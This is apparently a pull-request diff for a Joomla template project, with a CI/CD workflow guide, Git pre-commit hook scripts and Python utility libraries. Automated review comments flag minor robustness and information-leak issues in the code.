┌─────────────────┐
│ Release Pipeline│ ← dev → rc → version → main
└────────┬────────┘
┌─────────────────┐
│ Distribution │ ← ZIP package + GitHub Release
└─────────────────┘
```
## Workflow Quick Reference
### Continuous Integration (ci.yml)
**Trigger:** Automatic on push/PR to main, dev/*, rc/*, version/* branches
**Purpose:** Validates code quality and repository structure
**What it does:**
- ✅ Validates Joomla manifest XML
- ✅ Checks XML well-formedness
- ✅ Validates GitHub Actions workflows
- ✅ Runs PHP syntax checks
- ✅ Checks for secrets in code
- ✅ Validates license headers
- ✅ Verifies version alignment
**When to check:** After every commit
**How to view results:**
```bash
# Via GitHub CLI
gh run list --workflow=ci.yml --limit 5
gh run view <run-id> --log
```
### PHP Quality Checks (php_quality.yml)
**Trigger:** Automatic on push/PR to main, dev/*, rc/*, version/* branches
**Purpose:** Ensures PHP code quality and compatibility
**What it does:**
- 🔍 PHPStan static analysis (level 5)
- 📏 PHP_CodeSniffer with PSR-12 standards
- ✔️ PHP 8.0+ compatibility checks
**Matrix:** PHP 8.0, 8.1, 8.2, 8.3
**When to check:** Before committing PHP changes
**How to run locally:**
```bash
# Install tools
composer global require squizlabs/php_codesniffer phpstan/phpstan
# Run checks
phpcs --standard=phpcs.xml src/
phpstan analyse --configuration=phpstan.neon
```
### Joomla Testing (joomla_testing.yml)
**Trigger:** Automatic on push/PR to main, dev/*, rc/* branches
**Purpose:** Tests template compatibility with Joomla versions
**What it does:**
- 📦 Downloads and installs Joomla (4.4, 5.0, 5.1)
- 🔧 Installs template into Joomla
- ✅ Validates template installation
- 🧪 Runs Codeception tests
**Matrix:** Joomla 4.4/5.0/5.1 × PHP 8.0/8.1/8.2/8.3
**When to check:** Before releasing new versions
**How to test locally:**
```bash
# See docs/JOOMLA_DEVELOPMENT.md for local testing setup
codecept run
```
### Version Branch Creation (version_branch.yml)
**Trigger:** Manual workflow dispatch
**Purpose:** Creates a new version branch and bumps version numbers
**What it does:**
- 🏷️ Creates dev/*, rc/*, or version/* branch
- 📝 Updates version in all files
- 📅 Updates manifest dates
- 📋 Moves CHANGELOG unreleased to version
- ✅ Validates version hierarchy
**When to use:** Starting work on a new version
**How to run:**
1. Go to Actions → Create version branch
2. Click "Run workflow"
3. Enter version (e.g., 03.05.00)
4. Select branch prefix (dev/, rc/, or version/)
5. Click "Run workflow"
**Example:**
```yaml
new_version: 03.06.00
branch_prefix: dev/
version_text: beta
```
### Release Pipeline (release_pipeline.yml)
**Trigger:** Manual workflow dispatch or release event
**Purpose:** Promotes branches through release stages and creates distributions
**What it does:**
- 🔄 Promotes branches: dev → rc → version → main
- 📅 Normalizes dates in manifest and CHANGELOG
- 📦 Builds distributable ZIP package
- 🚀 Uploads to SFTP server
- 🏷️ Creates Git tag
- 📋 Creates GitHub Release
- 🔒 Attests build provenance
**When to use:** Promoting a version through release stages
**How to run:**
1. Go to Actions → Release Pipeline
2. Click "Run workflow"
3. Select classification (auto/rc/stable)
4. Click "Run workflow"
**Release flow:**
```
dev/X.Y.Z → rc/X.Y.Z → version/X.Y.Z → main
(dev) (RC) (stable) (production)
```
### Deploy to Staging (deploy_staging.yml)
**Trigger:** Manual workflow dispatch
**Purpose:** Deploys template to staging/development environments
**What it does:**
- ✅ Validates deployment prerequisites
- 📦 Builds deployment package
- 🚀 Uploads via SFTP to environment
- 📝 Creates deployment summary
**When to use:** Testing in staging before production release
**How to run:**
1. Go to Actions → Deploy to Staging
2. Click "Run workflow"
3. Select environment (staging/development/preview)
4. Optionally specify version
5. Click "Run workflow"
**Required secrets:**
- `STAGING_HOST` - SFTP hostname
- `STAGING_USER` - SFTP username
- `STAGING_KEY` - SSH private key (or `STAGING_PASSWORD`)
- `STAGING_PATH` - Remote deployment path
### Repository Health (repo_health.yml)
**Trigger:** Manual workflow dispatch (admin only)
**Purpose:** Comprehensive repository health and configuration checks
**What it does:**
- 🔐 Validates release configuration
- 🌐 Tests SFTP connectivity
- 📂 Checks scripts governance
- 📄 Validates required artifacts
- 🔍 Extended checks (SPDX, ShellCheck, etc.)
**When to use:** Before major releases or when debugging deployment issues
**How to run:**
1. Go to Actions → Repo Health
2. Click "Run workflow"
3. Select profile (all/release/scripts/repo)
4. Click "Run workflow"
**Profiles:**
- `all` - Run all checks
- `release` - Release configuration and SFTP only
- `scripts` - Scripts governance only
- `repo` - Repository health only
## Common Development Tasks
### Starting a New Feature
```bash
# 1. Create a new version branch via GitHub Actions
# Actions → Create version branch → dev/X.Y.Z
# 2. Clone and checkout the new branch
git fetch origin
git checkout dev/X.Y.Z
# 3. Make your changes
vim src/templates/index.php
# 4. Validate locally
./scripts/validate/php_syntax.sh
./scripts/validate/manifest.sh
# 5. Commit and push
git add -A
git commit -m "feat: add new feature"
git push origin dev/X.Y.Z
```
### Running All Validations Locally
```bash
# Run comprehensive validation suite
./scripts/run/validate_all.sh
# Run with verbose output
./scripts/run/validate_all.sh -v
# Run smoke tests
./scripts/run/smoke_test.sh
```
### Creating a Release Package
```bash
# Package with auto-detected version
./scripts/release/package_extension.sh
# Package with specific version
./scripts/release/package_extension.sh dist 03.05.00
# Verify package contents
unzip -l dist/moko-cassiopeia-*.zip
```
### Updating Version Numbers
```bash
# Via GitHub Actions (recommended)
# Actions → Create version branch
# Or manually with scripts
./scripts/fix/versions.sh 03.05.00
```
### Updating CHANGELOG
```bash
# Add new version entry
./scripts/release/update_changelog.sh 03.05.00
# Update release dates
./scripts/release/update_dates.sh 2025-01-15 03.05.00
```
## Troubleshooting
### CI Failures
#### PHP Syntax Errors
```bash
# Check specific file
php -l src/templates/index.php
# Run validation script
./scripts/validate/php_syntax.sh
```
#### Manifest Validation Failed
```bash
# Validate manifest XML
./scripts/validate/manifest.sh
# Check XML well-formedness
./scripts/validate/xml_wellformed.sh
```
#### Version Alignment Issues
```bash
# Check version in manifest matches CHANGELOG
./scripts/validate/version_alignment.sh
# Fix versions
./scripts/fix/versions.sh 03.05.00
```
### Workflow Failures
#### "Permission denied" on scripts
```bash
# Fix script permissions
chmod +x scripts/**/*.sh
```
#### "Branch already exists"
```bash
# Check existing branches
git branch -r | grep dev/
# Delete remote branch if needed (carefully!)
git push origin --delete dev/03.05.00
```
#### "Missing required secrets"
Go to repository Settings → Secrets and variables → Actions, and add:
- `FTP_HOST`
- `FTP_USER`
- `FTP_KEY` or `FTP_PASSWORD`
- `FTP_PATH`
#### SFTP Connection Failed
1. Verify credentials in repo_health workflow:
- Actions → Repo Health → profile: release
2. Check SSH key format (OpenSSH, not PuTTY PPK)
3. Verify server allows connections from GitHub IPs
### Quality Check Failures
#### PHPStan Errors
```bash
# Run locally to see full output
phpstan analyse --configuration=phpstan.neon
# Generate baseline to ignore existing issues
phpstan analyse --configuration=phpstan.neon --generate-baseline
```
#### PHPCS Violations
```bash
# Check violations
phpcs --standard=phpcs.xml src/
# Auto-fix where possible
phpcbf --standard=phpcs.xml src/
# Show specific error codes
phpcs --standard=phpcs.xml --report=source src/
```
#### Joomla Testing Failed
1. Check PHP/Joomla version matrix compatibility
2. Review MySQL connection errors
3. Verify template manifest structure
4. Check template file paths
## Best Practices
### Version Management
1. **Always use version branches:** dev/X.Y.Z, rc/X.Y.Z, version/X.Y.Z
2. **Follow hierarchy:** dev → rc → version → main
3. **Update CHANGELOG:** Document all changes in Unreleased section
4. **Semantic versioning:** Major.Minor.Patch (03.05.00)
### Code Quality
1. **Run validations locally** before pushing
2. **Fix PHPStan warnings** at level 5
3. **Follow PSR-12** coding standards
4. **Add SPDX license headers** to new files
5. **Keep functions small** and well-documented
### Workflow Usage
1. **Use CI for every commit** - automated validation
2. **Run repo_health before releases** - comprehensive checks
3. **Test on staging first** - never deploy directly to production
4. **Monitor workflow runs** - fix failures promptly
5. **Review workflow logs** - understand what changed
### Release Process
1. **Create dev branch** → Work on features
2. **Promote to rc** → Release candidate testing
3. **Promote to version** → Stable release
4. **Merge to main** → Production (auto-merged via PR)
5. **Create GitHub Release** → Public distribution
### Security
1. **Never commit secrets** - use GitHub Secrets
2. **Use SSH keys** for SFTP (not passwords)
3. **Scan for secrets** - runs automatically in CI
4. **Keep dependencies updated** - security patches
5. **Review security advisories** - GitHub Dependabot
### Documentation
1. **Update docs with code** - keep in sync
2. **Document workflow changes** - update this guide
3. **Add examples** - show, don't just tell
4. **Link to relevant docs** - cross-reference
5. **Keep README current** - first impression matters
## Quick Links
- [Main README](../README.md) - Project overview
- [Joomla Development Guide](./JOOMLA_DEVELOPMENT.md) - Testing and quality
- [Scripts README](../scripts/README.md) - Script documentation
- [CHANGELOG](../CHANGELOG.md) - Version history
- [CONTRIBUTING](../CONTRIBUTING.md) - Contribution guidelines
## Getting Help
1. **Check workflow logs** - Most issues have clear error messages
2. **Review this guide** - Common solutions documented
3. **Run validation scripts** - Identify specific issues
4. **Open an issue** - For bugs or questions
5. **Contact maintainers** - For access or configuration issues
---
**Document Version:** 1.0.0
**Last Updated:** 2025-01-04
**Maintained by:** Moko Consulting Engineering

56
scripts/git/install-hooks.sh Executable file
View File

@@ -0,0 +1,56 @@
#!/usr/bin/env bash
# Install Git hooks for Moko Cassiopeia
# Copyright (C) 2025 Moko Consulting <hello@mokoconsulting.tech>
#
# SPDX-License-Identifier: GPL-3.0-or-later
#
# FILE INFORMATION
# DEFGROUP: Moko-Cassiopeia.Scripts
# INGROUP: Scripts.Git
# REPO: https://github.com/mokoconsulting-tech/moko-cassiopeia
# FILE: ./scripts/git/install-hooks.sh
# VERSION: 01.00.00
# BRIEF: Install Git hooks for local development
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "$0")/.." && pwd)"
REPO_ROOT="$(cd "${SCRIPT_DIR}/.." && pwd)"
echo "Installing Git hooks..."
echo ""
# Create .git/hooks directory if it doesn't exist
mkdir -p "${REPO_ROOT}/.git/hooks"
# Install pre-commit hook
PRE_COMMIT_HOOK="${REPO_ROOT}/.git/hooks/pre-commit"
cat > "${PRE_COMMIT_HOOK}" <<'EOF'
#!/usr/bin/env bash
# Pre-commit hook - installed by scripts/git/install-hooks.sh
SCRIPT_DIR="$(git rev-parse --show-toplevel)/scripts/git"
if [ -f "${SCRIPT_DIR}/pre-commit.sh" ]; then
exec "${SCRIPT_DIR}/pre-commit.sh" "$@"
else
echo "Error: pre-commit.sh not found in ${SCRIPT_DIR}"
exit 1
fi
EOF
chmod +x "${PRE_COMMIT_HOOK}"
echo "✓ Installed pre-commit hook"
echo ""
echo "The pre-commit hook will run automatically before each commit."
echo ""
echo "Options:"
echo " - Skip hook: git commit --no-verify"
echo " - Quick mode: ./scripts/git/pre-commit.sh --quick"
echo " - Skip quality checks: ./scripts/git/pre-commit.sh --skip-quality"
echo ""
echo "To uninstall hooks:"
echo " rm .git/hooks/pre-commit"
echo ""
echo "Done!"

272
scripts/git/pre-commit.sh Executable file
View File

@@ -0,0 +1,272 @@
#!/usr/bin/env bash
# Pre-commit hook script for Moko Cassiopeia
# Copyright (C) 2025 Moko Consulting <hello@mokoconsulting.tech>
#
# SPDX-License-Identifier: GPL-3.0-or-later
#
# FILE INFORMATION
# DEFGROUP: Moko-Cassiopeia.Scripts
# INGROUP: Scripts.Git
# REPO: https://github.com/mokoconsulting-tech/moko-cassiopeia
# FILE: ./scripts/git/pre-commit.sh
# VERSION: 01.00.00
# BRIEF: Pre-commit hook for local validation
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "$0")/.." && pwd)"
. "${SCRIPT_DIR}/lib/common.sh"
# Colors for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m' # No Color
log_success() {
echo -e "${GREEN}${NC} $*"
}
log_warning() {
echo -e "${YELLOW}${NC} $*"
}
log_error() {
echo -e "${RED}${NC} $*"
}
log_header() {
echo ""
echo "================================"
echo "$*"
echo "================================"
}
# Parse arguments
SKIP_TESTS=false
SKIP_QUALITY=false
QUICK_MODE=false
while [[ $# -gt 0 ]]; do
case $1 in
--skip-tests)
SKIP_TESTS=true
shift
;;
--skip-quality)
SKIP_QUALITY=true
shift
;;
--quick)
QUICK_MODE=true
shift
;;
*)
echo "Unknown option: $1"
echo "Usage: pre-commit.sh [--skip-tests] [--skip-quality] [--quick]"
exit 1
;;
esac
done
log_header "Pre-commit Validation"
# Get list of staged files
STAGED_FILES=$(git diff --cached --name-only --diff-filter=ACMR)
if [ -z "$STAGED_FILES" ]; then
log_warning "No staged files to check"
exit 0
fi
echo "Checking staged files:"
echo "$STAGED_FILES" | sed 's/^/ - /'
echo ""
# Track failures
FAILURES=0
# Check 1: PHP Syntax
log_header "Checking PHP Syntax"
PHP_FILES=$(echo "$STAGED_FILES" | grep '\.php$' || true)
if [ -n "$PHP_FILES" ]; then
while IFS= read -r file; do
if [ -f "$file" ]; then
if php -l "$file" > /dev/null 2>&1; then
log_success "PHP syntax OK: $file"
else
log_error "PHP syntax error: $file"
php -l "$file"
FAILURES=$((FAILURES + 1))
fi
fi
done <<< "$PHP_FILES"
else
echo " No PHP files to check"
fi
# Check 2: XML Well-formedness
log_header "Checking XML Files"
XML_FILES=$(echo "$STAGED_FILES" | grep '\.xml$' || true)
if [ -n "$XML_FILES" ]; then
while IFS= read -r file; do
if [ -f "$file" ]; then
if xmllint --noout "$file" 2>/dev/null; then
log_success "XML well-formed: $file"
else
log_error "XML malformed: $file"
xmllint --noout "$file" || true
FAILURES=$((FAILURES + 1))
fi
fi
done <<< "$XML_FILES"
else
echo " No XML files to check"
fi
# Check 3: YAML Syntax
log_header "Checking YAML Files"
YAML_FILES=$(echo "$STAGED_FILES" | grep -E '\.(yml|yaml)$' || true)
if [ -n "$YAML_FILES" ]; then
while IFS= read -r file; do
if [ -f "$file" ]; then
# Use printf to safely pass the file path, avoiding injection
if python3 -c "import sys, yaml; yaml.safe_load(open(sys.argv[1]))" "$file" 2>/dev/null; then
log_success "YAML valid: $file"
else
log_error "YAML invalid: $file"
python3 -c "import sys, yaml; yaml.safe_load(open(sys.argv[1]))" "$file" || true
FAILURES=$((FAILURES + 1))
fi
fi
done <<< "$YAML_FILES"
else
echo " No YAML files to check"
fi
# Check 4: Trailing Whitespace
log_header "Checking for Trailing Whitespace"
TEXT_FILES=$(echo "$STAGED_FILES" | grep -vE '\.(png|jpg|jpeg|gif|svg|ico|zip|gz|woff|woff2|ttf)$' || true)
if [ -n "$TEXT_FILES" ]; then
TRAILING_WS=$(echo "$TEXT_FILES" | xargs grep -n '[[:space:]]$' 2>/dev/null || true)
copilot-pull-request-reviewer[bot] commented 2026-01-04 05:38:49 +00:00 (Migrated from github.com)
Review

On line 155, 'xargs' is called without the '-r' flag. If 'TEXT_FILES' is empty (which is possible when no text files are staged), xargs will still wait for input from stdin, causing the script to hang or fail unexpectedly. Add the '-r' flag to xargs to prevent running the command when there's no input.

    TRAILING_WS=$(echo "$TEXT_FILES" | xargs -r grep -n '[[:space:]]$' 2>/dev/null || true)
On line 155, 'xargs' is called without the '-r' flag. If 'TEXT_FILES' is empty (which is possible when no text files are staged), xargs will still wait for input from stdin, causing the script to hang or fail unexpectedly. Add the '-r' flag to xargs to prevent running the command when there's no input. ```suggestion TRAILING_WS=$(echo "$TEXT_FILES" | xargs -r grep -n '[[:space:]]$' 2>/dev/null || true) ```
if [ -n "$TRAILING_WS" ]; then
log_warning "Files with trailing whitespace found:"
echo "$TRAILING_WS" | sed 's/^/ /'
echo ""
echo " Run: sed -i 's/[[:space:]]*$//' <file> to fix"
else
log_success "No trailing whitespace"
fi
else
echo " No text files to check"
fi
# Check 5: SPDX License Headers (if not quick mode)
if [ "$QUICK_MODE" = false ]; then
log_header "Checking SPDX License Headers"
SOURCE_FILES=$(echo "$STAGED_FILES" | grep -E '\.(php|sh|js|ts|css)$' || true)
if [ -n "$SOURCE_FILES" ]; then
MISSING_SPDX=""
while IFS= read -r file; do
if [ -f "$file" ]; then
if ! head -n 20 "$file" | grep -q 'SPDX-License-Identifier:'; then
MISSING_SPDX="${MISSING_SPDX} - ${file}\n"
fi
fi
done <<< "$SOURCE_FILES"
if [ -n "$MISSING_SPDX" ]; then
log_warning "Files missing SPDX license header:"
echo -e "$MISSING_SPDX"
else
log_success "All source files have SPDX headers"
fi
else
echo " No source files to check"
fi
fi
# Check 6: No Secrets
log_header "Checking for Secrets"
if [ -x "${SCRIPT_DIR}/validate/no_secrets.sh" ]; then
if "${SCRIPT_DIR}/validate/no_secrets.sh" > /dev/null 2>&1; then
log_success "No secrets detected"
else
log_error "Potential secrets detected!"
"${SCRIPT_DIR}/validate/no_secrets.sh" || true
FAILURES=$((FAILURES + 1))
fi
else
echo " Secret scanner not available"
fi
# Check 7: PHP_CodeSniffer (if not skipped)
if [ "$SKIP_QUALITY" = false ] && command -v phpcs >/dev/null 2>&1; then
log_header "Running PHP_CodeSniffer"
PHP_FILES=$(echo "$STAGED_FILES" | grep '\.php$' || true)
if [ -n "$PHP_FILES" ]; then
# Use process substitution to avoid issues with filenames containing spaces
if echo "$PHP_FILES" | tr '\n' '\0' | xargs -0 phpcs --standard=phpcs.xml -q 2>/dev/null; then
log_success "PHPCS passed"
else
log_warning "PHPCS found issues (non-blocking)"
echo "$PHP_FILES" | tr '\n' '\0' | xargs -0 phpcs --standard=phpcs.xml --report=summary || true
fi
else
echo " No PHP files to check"
fi
else
if [ "$SKIP_QUALITY" = true ]; then
echo " Skipping PHPCS (--skip-quality)"
else
echo " PHPCS not available (install with: composer global require squizlabs/php_codesniffer)"
fi
fi
# Check 8: PHPStan (if not skipped and not quick mode)
if [ "$SKIP_QUALITY" = false ] && [ "$QUICK_MODE" = false ] && command -v phpstan >/dev/null 2>&1; then
log_header "Running PHPStan"
PHP_FILES=$(echo "$STAGED_FILES" | grep '\.php$' || true)
if [ -n "$PHP_FILES" ]; then
if phpstan analyse --configuration=phpstan.neon --no-progress > /dev/null 2>&1; then
log_success "PHPStan passed"
else
log_warning "PHPStan found issues (non-blocking)"
phpstan analyse --configuration=phpstan.neon --no-progress || true
fi
else
echo " No PHP files to check"
fi
else
if [ "$SKIP_QUALITY" = true ]; then
echo " Skipping PHPStan (--skip-quality)"
elif [ "$QUICK_MODE" = true ]; then
echo " Skipping PHPStan (--quick mode)"
else
echo " PHPStan not available (install with: composer global require phpstan/phpstan)"
fi
fi
# Summary
log_header "Pre-commit Summary"
if [ $FAILURES -gt 0 ]; then
log_error "Pre-commit checks failed with $FAILURES error(s)"
echo ""
echo "To commit anyway, use: git commit --no-verify"
echo "To run quick checks only: ./scripts/git/pre-commit.sh --quick"
echo "To skip quality checks: ./scripts/git/pre-commit.sh --skip-quality"
exit 1
else
log_success "All pre-commit checks passed!"
echo ""
echo "Tip: Use 'make validate' for comprehensive validation"
exit 0
fi

452
scripts/lib/common.py Executable file
View File

@@ -0,0 +1,452 @@
#!/usr/bin/env python3
"""
Common utilities for Moko-Cassiopeia scripts.
Copyright (C) 2025 Moko Consulting <hello@mokoconsulting.tech>
This file is part of a Moko Consulting project.
SPDX-License-Identifier: GPL-3.0-or-later
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program (./LICENSE.md).
FILE INFORMATION
DEFGROUP: Script.Library
INGROUP: Common
REPO: https://github.com/mokoconsulting-tech/moko-cassiopeia
PATH: /scripts/lib/common.py
VERSION: 01.00.00
BRIEF: Unified shared Python utilities for all CI and local scripts
"""
import json
import os
import shutil
import sys
from pathlib import Path
from typing import Any, Dict, List, Optional, Union
import subprocess
import traceback
# ============================================================================
# Environment and Detection
# ============================================================================
def is_ci() -> bool:
"""Check if running in CI environment."""
return os.environ.get("CI", "").lower() == "true"
def require_cmd(command: str) -> None:
"""
Ensure a required command is available.
Args:
command: Command name to check
Raises:
SystemExit: If command is not found
"""
if not shutil.which(command):
log_error(f"Required command not found: {command}")
sys.exit(1)
# ============================================================================
# Logging
# ============================================================================
class Colors:
"""ANSI color codes for terminal output."""
RED = '\033[0;31m'
GREEN = '\033[0;32m'
YELLOW = '\033[1;33m'
BLUE = '\033[0;34m'
CYAN = '\033[0;36m'
BOLD = '\033[1m'
NC = '\033[0m' # No Color
@classmethod
def enabled(cls) -> bool:
"""Check if colors should be enabled."""
return sys.stdout.isatty() and os.environ.get("NO_COLOR") is None
def log_info(message: str) -> None:
"""Log informational message."""
print(f"INFO: {message}")
def log_warn(message: str) -> None:
"""Log warning message."""
color = Colors.YELLOW if Colors.enabled() else ""
nc = Colors.NC if Colors.enabled() else ""
print(f"{color}WARN: {message}{nc}", file=sys.stderr)
def log_error(message: str) -> None:
"""Log error message."""
color = Colors.RED if Colors.enabled() else ""
nc = Colors.NC if Colors.enabled() else ""
print(f"{color}ERROR: {message}{nc}", file=sys.stderr)
def log_success(message: str) -> None:
"""Log success message."""
color = Colors.GREEN if Colors.enabled() else ""
nc = Colors.NC if Colors.enabled() else ""
print(f"{color}{message}{nc}")
def log_step(message: str) -> None:
"""Log a step in a process."""
color = Colors.CYAN if Colors.enabled() else ""
nc = Colors.NC if Colors.enabled() else ""
print(f"{color}{message}{nc}")
def log_section(title: str) -> None:
"""Log a section header."""
print()
print("=" * 60)
print(title)
print("=" * 60)
def log_kv(key: str, value: str) -> None:
"""Log a key-value pair."""
print(f" {key}: {value}")
def die(message: str, exit_code: int = 1) -> None:
"""
Log error and exit.
Args:
message: Error message
exit_code: Exit code (default: 1)
"""
log_error(message)
if os.environ.get("VERBOSE_ERRORS", "true").lower() == "true":
print("", file=sys.stderr)
print("Stack trace:", file=sys.stderr)
traceback.print_stack(file=sys.stderr)
print("", file=sys.stderr)
print("Environment:", file=sys.stderr)
print(f" PWD: {os.getcwd()}", file=sys.stderr)
print(f" USER: {os.environ.get('USER', 'unknown')}", file=sys.stderr)
print(f" PYTHON: {sys.version}", file=sys.stderr)
print(f" CI: {is_ci()}", file=sys.stderr)
print("", file=sys.stderr)
copilot-pull-request-reviewer[bot] commented 2026-01-04 05:38:49 +00:00 (Migrated from github.com)
Review

The verbose error output in the 'die' function is controlled by 'VERBOSE_ERRORS' environment variable which defaults to 'true'. This means stack traces and environment information will be printed by default on every error. In production or CI environments, this could leak sensitive information. Consider defaulting to 'false' or using a different default in CI environments (checking the CI environment variable).

The verbose error output in the 'die' function is controlled by 'VERBOSE_ERRORS' environment variable which defaults to 'true'. This means stack traces and environment information will be printed by default on every error. In production or CI environments, this could leak sensitive information. Consider defaulting to 'false' or using a different default in CI environments (checking the CI environment variable).
sys.exit(exit_code)
# ============================================================================
# Validation Helpers
# ============================================================================
def assert_file_exists(path: Union[str, Path]) -> None:
"""
Assert that a file exists.
Args:
path: Path to file
Raises:
SystemExit: If file doesn't exist
"""
if not Path(path).is_file():
die(f"Required file missing: {path}")
def assert_dir_exists(path: Union[str, Path]) -> None:
"""
Assert that a directory exists.
Args:
path: Path to directory
Raises:
SystemExit: If directory doesn't exist
"""
if not Path(path).is_dir():
die(f"Required directory missing: {path}")
def assert_not_empty(value: Any, name: str) -> None:
"""
Assert that a value is not empty.
Args:
value: Value to check
name: Name of the value for error message
Raises:
SystemExit: If value is empty
"""
if not value:
die(f"Required value is empty: {name}")
# ============================================================================
# JSON Utilities
# ============================================================================
def json_escape(text: str) -> str:
"""
Escape text for JSON.
Args:
text: Text to escape
Returns:
Escaped text
"""
return json.dumps(text)[1:-1] # Remove surrounding quotes
def json_output(data: Dict[str, Any], pretty: bool = False) -> None:
"""
Output data as JSON.
Args:
data: Dictionary to output
pretty: Whether to pretty-print
"""
if pretty:
print(json.dumps(data, indent=2, sort_keys=True))
else:
print(json.dumps(data, separators=(',', ':')))
# ============================================================================
# Path Utilities
# ============================================================================
def script_root() -> Path:
"""
Get the root scripts directory.
Returns:
Path to scripts directory
"""
return Path(__file__).parent.parent
def repo_root() -> Path:
"""
Get the repository root directory.
Returns:
Path to repository root
"""
return script_root().parent
def normalize_path(path: Union[str, Path]) -> str:
"""
Normalize a path (resolve, absolute, forward slashes).
Args:
path: Path to normalize
Returns:
Normalized path string
"""
return str(Path(path).resolve()).replace("\\", "/")
# ============================================================================
# File Operations
# ============================================================================
def read_file(path: Union[str, Path], encoding: str = "utf-8") -> str:
"""
Read a file.
Args:
path: Path to file
encoding: File encoding
Returns:
File contents
"""
assert_file_exists(path)
return Path(path).read_text(encoding=encoding)
def write_file(path: Union[str, Path], content: str, encoding: str = "utf-8") -> None:
"""
Write a file.
Args:
path: Path to file
content: Content to write
encoding: File encoding
"""
Path(path).write_text(content, encoding=encoding)
def ensure_dir(path: Union[str, Path]) -> None:
"""
Ensure a directory exists.
Args:
path: Path to directory
"""
Path(path).mkdir(parents=True, exist_ok=True)
# ============================================================================
# Command Execution
# ============================================================================
def run_command(
cmd: List[str],
capture_output: bool = True,
check: bool = True,
cwd: Optional[Union[str, Path]] = None,
env: Optional[Dict[str, str]] = None
) -> subprocess.CompletedProcess:
"""
Run a command.
Args:
cmd: Command and arguments
capture_output: Whether to capture stdout/stderr
check: Whether to raise on non-zero exit
cwd: Working directory
env: Environment variables
Returns:
CompletedProcess instance
"""
return subprocess.run(
cmd,
capture_output=capture_output,
text=True,
check=check,
cwd=cwd,
env=env
)
def run_shell(
script: str,
capture_output: bool = True,
check: bool = True,
cwd: Optional[Union[str, Path]] = None
) -> subprocess.CompletedProcess:
"""
Run a shell script.
Args:
script: Shell script
capture_output: Whether to capture stdout/stderr
check: Whether to raise on non-zero exit
cwd: Working directory
Returns:
CompletedProcess instance
"""
return subprocess.run(
script,
shell=True,
capture_output=capture_output,
text=True,
check=check,
cwd=cwd
)
copilot-pull-request-reviewer[bot] commented 2026-01-04 05:38:47 +00:00 (Migrated from github.com)
Review

The 'run_shell' function executes shell commands with 'shell=True', which can be a security risk if the 'script' parameter contains untrusted input. While this is a utility function, consider adding a docstring warning about the security implications and recommending the use of 'run_command' with a list of arguments instead when possible.

The 'run_shell' function executes shell commands with 'shell=True', which can be a security risk if the 'script' parameter contains untrusted input. While this is a utility function, consider adding a docstring warning about the security implications and recommending the use of 'run_command' with a list of arguments instead when possible.
# ============================================================================
# Git Utilities
# ============================================================================
def git_root() -> Path:
"""
Get git repository root.
Returns:
Path to git root
"""
result = run_command(
["git", "rev-parse", "--show-toplevel"],
capture_output=True,
check=True
)
return Path(result.stdout.strip())
def git_status(porcelain: bool = True) -> str:
"""
Get git status.
Args:
porcelain: Use porcelain format
Returns:
Git status output
"""
cmd = ["git", "status"]
if porcelain:
cmd.append("--porcelain")
result = run_command(cmd, capture_output=True, check=True)
return result.stdout
def git_branch() -> str:
"""
Get current git branch.
Returns:
Branch name
"""
result = run_command(
["git", "rev-parse", "--abbrev-ref", "HEAD"],
capture_output=True,
check=True
)
return result.stdout.strip()
# ============================================================================
# Main Entry Point (for testing)
# ============================================================================
def main() -> None:
"""Test the common utilities."""
log_section("Testing Common Utilities")
log_info("This is an info message")
log_warn("This is a warning message")
log_success("This is a success message")
log_step("This is a step message")
log_section("Environment")
log_kv("CI", str(is_ci()))
log_kv("Script Root", str(script_root()))
log_kv("Repo Root", str(repo_root()))
log_kv("Git Root", str(git_root()))
log_kv("Git Branch", git_branch())
log_section("Tests Passed")
if __name__ == "__main__":
main()

430
scripts/lib/joomla_manifest.py Executable file
View File

@@ -0,0 +1,430 @@
#!/usr/bin/env python3
"""
Joomla manifest parsing and validation utilities.
Copyright (C) 2025 Moko Consulting <hello@mokoconsulting.tech>
This file is part of a Moko Consulting project.
SPDX-License-Identifier: GPL-3.0-or-later
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program (./LICENSE.md).
FILE INFORMATION
DEFGROUP: Script.Library
INGROUP: Joomla.Manifest
REPO: https://github.com/mokoconsulting-tech/moko-cassiopeia
PATH: /scripts/lib/joomla_manifest.py
VERSION: 01.00.00
BRIEF: Joomla manifest parsing and validation utilities
"""
import xml.etree.ElementTree as ET
from pathlib import Path
from typing import Dict, List, Optional, Tuple
from dataclasses import dataclass
try:
from . import common
except ImportError:
import common
# ============================================================================
# Joomla Extension Types
# ============================================================================
class ExtensionType:
"""Joomla extension types."""
COMPONENT = "component"
MODULE = "module"
PLUGIN = "plugin"
TEMPLATE = "template"
LIBRARY = "library"
PACKAGE = "package"
FILE = "file"
LANGUAGE = "language"
ALL_TYPES = [
COMPONENT, MODULE, PLUGIN, TEMPLATE,
LIBRARY, PACKAGE, FILE, LANGUAGE
]
# ============================================================================
# Manifest Data Class
# ============================================================================
@dataclass
class ManifestInfo:
"""Information extracted from a Joomla manifest."""
path: Path
extension_type: str
name: str
version: str
description: Optional[str] = None
author: Optional[str] = None
author_email: Optional[str] = None
author_url: Optional[str] = None
copyright: Optional[str] = None
license: Optional[str] = None
creation_date: Optional[str] = None
def to_dict(self) -> Dict[str, str]:
"""Convert to dictionary."""
return {
"path": str(self.path),
"ext_type": self.extension_type,
"name": self.name,
"version": self.version,
"description": self.description or "",
"author": self.author or "",
"author_email": self.author_email or "",
"author_url": self.author_url or "",
"copyright": self.copyright or "",
"license": self.license or "",
"creation_date": self.creation_date or ""
}
# ============================================================================
# Manifest Discovery
# ============================================================================
def find_manifest(src_dir: str = "src") -> Path:
"""
Find the primary Joomla manifest in the given directory.
Args:
src_dir: Source directory to search
Returns:
Path to manifest file
Raises:
SystemExit: If no manifest found
"""
